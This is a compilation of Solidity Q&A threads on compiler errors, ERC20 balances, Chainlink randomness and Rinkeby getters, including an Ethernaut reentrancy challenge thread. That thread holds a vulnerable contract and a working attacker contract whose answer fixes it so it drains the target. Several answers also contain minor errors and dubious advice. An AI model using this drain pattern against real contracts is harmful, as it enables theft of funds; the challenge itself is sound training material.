I am really new to Solidity and smart contracts and would really appreciate some help. I am following a tutorial and this is the exact code they use. But when I compile the code I get this error:
ParserError: Expected primary expression.
address public constant approver = ;
pragma solidity ^0.6.0;
contract ApprovalContract {
address public sender;
address public receiver;
address public constant approver = ;
function deposit(address _receiver) external payable {
require(msg.value > 0);
sender = msg.sender;
receiver = _receiver;
}
function viewApprover() external pure returns(address) {
return(approver);
}
function approve() external {
require(msg.sender == approver);
receiver.transfer(address(this).balance);
}
}
The constant needs to be initialized
address public constant approver = YOURADDRESS;
There are 2 types of constant variables in Solidity:
Constants: a variable that is hardcoded in the smart contract and that you cannot change the value
Immutables: variables you can only define the value in the constructor and that cannot be updated afterwards
Here is an example:
uint256 public constant EXAMPLE_NUMBER = 123;
unit256 public immutable EXAMPLE_NUMBER_2;
constructor(uint256 _number) {
EXAMPLE_NUMBER_2 = _number;
}
You can read more about it here.
Related
I'm trying to solve the reentrancy attack ethernaut challenge.
Here is the solidity code for the target contract:
pragma solidity ^0.8.0;
import 'https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/math/SafeMath.sol';
contract Reentrance {
using SafeMath for uint256;
mapping(address => uint) public balances;
function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}
function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}
function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call{value:_amount}("");
if(result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}
receive() external payable {}
}
My plan is to:
Donate to the Reentrance contract from another contract.
Call the withdraw function from inside a function in the contract I created as well as from the fallback function in my contract. The goal is to execute
(bool result,) = msg.sender.call{value:_amount}("");
enough times to empty the Reentrance contract's balance while skipping the code underneath.
Here's what my contract looks like:
contract interactor{
address public target=0xd9145CCE52D386f254917e481eB44e9943F39138;
uint32 public i = 0;
constructor() payable {}
function calldonate(address _to,uint val) public payable
{
target.call{value:val}(abi.encodeWithSignature("donate(address)", _to));
}
function callwithdraw() public
{
target.call(abi.encodeWithSignature("withdraw(uint256)", 1));
}
fallback() external payable {
i++;
require(i<target.balance);
msg.sender.call(abi.encodeWithSignature("withdraw(uint256)", 1));
}
}
After deploying the two contracts in Remix, I'm unable to empty the Reentrance contract's balance. The variable i never reaches target.balance-1.
I can't see what's wrong with my code (very new to Solidity).
Any help would be appreciated.
a few changes in your Interactor contract
1-
Instead of hardcoded target address, pass it in constructor. so deploy the Reentrance in case you need to have clean state variables
address public target;
uint32 public i = 0;
constructor(address _target) payable {
target=_target;
}
2- In calldonate function I added require for debuggin
bytes memory payload=abi.encodeWithSignature("donate(address)",_to);
(bool success,)=target.call{value:val}(payload);
// just for debugging purpose
require(success,"target.call failed");
3- call calldonate function. send 10 wei, since you are withdrawing 1 wei, otherwise Remix will crust. I think to address must be the interceptor address itself. since in Reentract contract, balances mapping is updated with the msg.value you have to enter amount in the value as in the image
successfully sent 10 wei, balance is updated
4- you have to update the fallback function. .call method did not work I think that is because of call is a safe function. (or I had some bugs). so I updated the fallback
fallback() external payable {
i++;
require(i<target.balance,"error here");
// msg.sender.call(abi.encodeWithSignature("withdraw(uint)",1));
// target.call(abi.encodeWithSignature("withdraw(uint)",1));
Reentrance(payable(target)).withdraw(1);
}
5- callwithdraw function signature should be updated. Reentrance contract passes uint but you are uint256
function callwithdraw() public
{
target.call(abi.encodeWithSignature("withdraw(uint)",1));
}
6- call callwithdraw function. Because you have this logic inside fallback
// when i=5, targetBalance would be 5
i++;
require(i<target.balance);
after you called it and check the balances you should see 5 left.
I have a roulette smart contract, that uses another smart contract to provide it with random numbers. The issue i'm having is during compilation, i get the error:
TypeError: Type contract IRandomNumberGenerator is not implicitly convertible to expected type address.
project:/contracts/Roulette.sol:34:29:
randomNumberGenerator = IRandomNumberGenerator(randomNumberGenerator);
I'm not exactly sure where i'm going wrong, i've seen this code used in other contracts. Here is my full code, any help would be much appreciated.
// SPDX-License-Identifier: UNLICENSED"
pragma solidity ^0.8.7;
import "#openzeppelin/contracts/token/ERC20/IERC20.sol";
import "#openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "#openzeppelin/contracts/access/Ownable.sol";
import "./IRandomNumberGenerator.sol";
contract Roulette is Ownable {
using SafeERC20 for IERC20;
IERC20 public gameToken;
uint256[100] internal randomNumbers;
IRandomNumberGenerator internal randomNumberGenerator;
// ensure caller is the random number generator contract
modifier onlyRandomGenerator() {
require(msg.sender == address(randomNumberGenerator), "Only random generator");
_;
}
constructor(address tokenAddress) {
gameToken = IERC20(tokenAddress);
}
function setRandomNumberGenerator(address randomNumberGenerator) external onlyOwner {
randomNumberGenerator = IRandomNumberGenerator(randomNumberGenerator);
}
function getRandomNumber() internal onlyOwner returns (uint) {
uint result = randomNumbers[randomNumbers.length-1];
delete randomNumbers[randomNumbers.length-1];
return result;
}
function numberGenerated(uint randomNumber) external onlyRandomGenerator {
randomNumbers = expand(randomNumber);
}
// generate 100 random numbers from the random number seed
function expand(uint256 randomValue) public pure returns (uint256[] memory expandedValues) {
expandedValues = new uint256[](100);
for (uint256 i = 0; i < 100; i++) {
expandedValues[i] = uint256(keccak256(abi.encode(randomValue, i)));
}
return expandedValues;
// TODO - ensure random numbers are roulette numbers
}
}
// SPDX-License-Identifier: UNLICENSED"
pragma solidity ^0.8.7;
import "#chainlink/contracts/src/v0.8/VRFConsumerBase.sol";
import "./IRoulette.sol";
contract RandomNumberGenerator is VRFConsumerBase {
address public roulette;
bytes32 internal keyHash;
uint256 internal fee;
uint256 internal randomResult;
// modifier to check if caller of owner is the admin
modifier onlyRoulette() {
require(msg.sender == roulette, "Caller to function is not the roulette contract");
_;
}
constructor(address _roulette)
VRFConsumerBase(
0xa555fC018435bef5A13C6c6870a9d4C11DEC329C, // VRF Coordinator
0x84b9B910527Ad5C03A9Ca831909E21e236EA7b06 // LINK Token
)
{
keyHash = 0xcaf3c3727e033261d383b315559476f48034c13b18f8cafed4d871abe5049186;
fee = 0.1 * 10 ** 18;
roulette = _roulette;
}
function getRandomNumber() public onlyRoulette returns (bytes32 requestId) {
require(LINK.balanceOf(address(this)) >= fee, "Not enough LINK - fill contract with faucet");
return requestRandomness(keyHash, fee);
}
function fulfillRandomness(bytes32 requestId, uint256 randomness) internal override {
randomResult = randomness;
IRoulette(roulette).numberGenerated(randomResult);
}
}
Found out the issue was having the same name for both the parameter and the variable.
Updated the function to:
function setRandomNumberGenerator(address _randomNumberGenerator) external onlyOwner {
randomNumberGenerator = IRandomNumberGenerator(_randomNumberGenerator);
}
In this solidity code the finalizeRequest() is giving a run-time error.
Here is the error :
Campaign.finalizeRequest(uint256) 0x692...77b3a
transact to Campaign.finalizeRequest errored: VM error: revert.
revert The transaction has been reverted to the initial state.
Note: The constructor should be payable if you send value. Debug the transaction to get more information.
Here is the code:
pragma solidity ^0.4.17;
contract Campaign {
struct Request {
string description;
uint value;
address recipient;
bool complete;
uint approvalCount;
mapping (address => bool) approvals;
}
address public manager;
uint public minimumContribution;
// address[] public approvers;
mapping (address => bool) public approvers;
Request[] public requests;
uint public approversCount;
function Campaign(uint minimum) public {
manager=msg.sender;
minimumContribution=minimum;
}
function contribute() public payable {
require(msg.value>minimumContribution);
// approvers.push(msg.sender);
approvers[msg.sender]=true;
approversCount++;
}
function createRequest(string description,uint value,address recipient) public restricted {
// require (approvers[msg.sender]);
Request memory newRequest=Request({description:description,value:value,recipient:recipient,complete:false,approvalCount:0});
requests.push(newRequest);
}
function approveRequest(uint index) public {
Request storage request=requests[index];
require(approvers[msg.sender]);
require(!request.approvals[msg.sender]);
request.approvals[msg.sender]=true;
request.approvalCount++;
}
function finalizeRequest(uint index) public restricted {
Request storage request = requests[index];
require(request.approvalCount>=(approversCount/2));
require(!request.complete);
request.recipient.transfer(request.value);
request.complete=true;
}
modifier restricted() {
require (msg.sender == manager);
_;
}
}
As far as I could debug, when I comment out request.recipient.transfer(request.value); in the finalizeRequest() function no runtime error is thrown. So error seems to be in this line of code.
As far as i see your finalizeRequest() function consists transfer of ether as defined request.recipient.transfer(request.value); so you need to make your finalizeRequest() as payable.
replace finalizeRequest() with:
function finalizeRequest(uint index) public restricted payable {
Request storage request = requests[index];
require(request.approvalCount>=(approversCount/2));
require(!request.complete);
request.recipient.transfer(request.value);
request.complete=true;
}
Thumb Rule: Whenever you are sending or receiving ether in any function, mark it as payable.
Reason why you need payable keyword is well explained here.
I Need To Know The Balance Of This Token After I Deploy It In Remix Ethereum Firefox. I Want To Know Where Do I Add The checkBalance Function. Plz Help Guys. This Is My First ERC20 Smart Contract.
pragma solidity ^0.5.0;
contract TusharCoin {
uint256 public totalSupply;
string public name;
string public symbol;
uint32 public decimals;
address public owner;
mapping(address => uint256 ) balances;
event Transfer(address to, uint256 amount);
constructor () public {
symbol = "TUSHAR";
name = "TusharCoin";
decimals = 5;
totalSupply = 100000000000;
owner = msg.sender;
balances[msg.sender] = totalSupply;
emit Transfer(msg.sender, totalSupply);
}
}
Your token currently isn't an ERC20 token as it doesn't fully implement the ERC20 standard yet.
To just add a balanceOf function to your existing contract you can add the following:
function balanceOf(address account) public view returns (uint256) {
return balances[account];
}
If you are creating your own ERC20 implementation then you should consider using SafeMath, see the documentation for details: https://docs.openzeppelin.com/contracts/2.x/utilities#math
If you are creating ERC20 tokens you may want to look at the OpenZeppelin Contracts implementation to see if this meets your needs. See the documentation for details: https://docs.openzeppelin.com/contracts/2.x/tokens#ERC20
An example ERC20 Token that you can deploy with Remix inheriting from the OpenZeppelin Contracts implementation is below using your specified name, symbol, decimals and totalSupply:
pragma solidity ^0.5.0;
import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v2.3.0/contracts/token/ERC20/ERC20.sol";
import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v2.3.0/contracts/token/ERC20/ERC20Detailed.sol";
contract Token is ERC20, ERC20Detailed {
constructor () public ERC20Detailed("Tushar Token", "TUSHAR", 5) {
_mint(msg.sender, 1000000 * (10 ** uint256(decimals())));
}
}
If you have questions on using OpenZeppelin you can ask in the Community Forum: https://forum.openzeppelin.com/
Disclosure: I am the Community Manager at OpenZeppelin
Below, I have mention checkBalance function. In ERC20 standards checkBalance function to be stated as a balanceOf function.
In function, view means one can only read not write
function balanceOf(address accountAddress) public view returns (uint256) {
return balances[accountAddress];
}
Full source code.
pragma solidity ^0.5.0;
contract TusharCoin {
uint256 public totalSupply;
string public name;
string public symbol;
uint32 public decimals;
address public owner;
mapping(address => uint256 ) balances;
event Transfer(address to, uint256 amount);
constructor () public {
symbol = "TUSHAR";
name = "TusharCoin";
decimals = 5;
totalSupply = 100000000000;
owner = msg.sender;
balances[msg.sender] = totalSupply;
emit Transfer(msg.sender, totalSupply);
}
function balanceOf(address accountAddress) public view returns (uint256) {
return balances[accountAddress];
}
}
If you want whole code for ERC20. Let me know.
I have deployed a very basic solidity contract (pragma solidity^0.4.0) to Rinkeby. When I call the getters on my state variables, nothing is returned and I do not understand why. To compile the contract I'm using "solc": "^0.4.25"
Using Remix to test, the call to the getter works locally without issue. However, the call doesn't work on my contract on Rinkeby.
Here is my solidity code...
pragma solidity^0.4.0;
contract Contest {
address public manager;
uint public submissionCost;
uint8 public votesPerSubmission;
constructor (uint _submissionCost, uint8 _votesPerSubmission) public {
manager = msg.sender;
submissionCost = _submissionCost;
votesPerSubmission = _votesPerSubmission;
}
modifier restricted() {
require(msg.sender == manager, "Not authorized.");
_;
}
function adjustSubmissionCost(uint32 newCost) public restricted {
submissionCost = newCost;
}
function adjustVotesPerSubmission(uint8 newVotes) public restricted {
votesPerSubmission = newVotes;
}
}
The address of the deployed contract on Rinkeby is
0xacBd19113e0D8122E18DF48A320b635fB5D7Cdd0
https://rinkeby.etherscan.io/address/0xacbd19113e0d8122e18df48a320b635fb5d7cdd0
When calling any of the public variables from Remix, I expect a return value, however I only receive the message call to Contest.manager in the Remix console and nothing more.
I get the same behavior in my web3 dapp, with zero return when I try...
await Contest.methods.manager().call()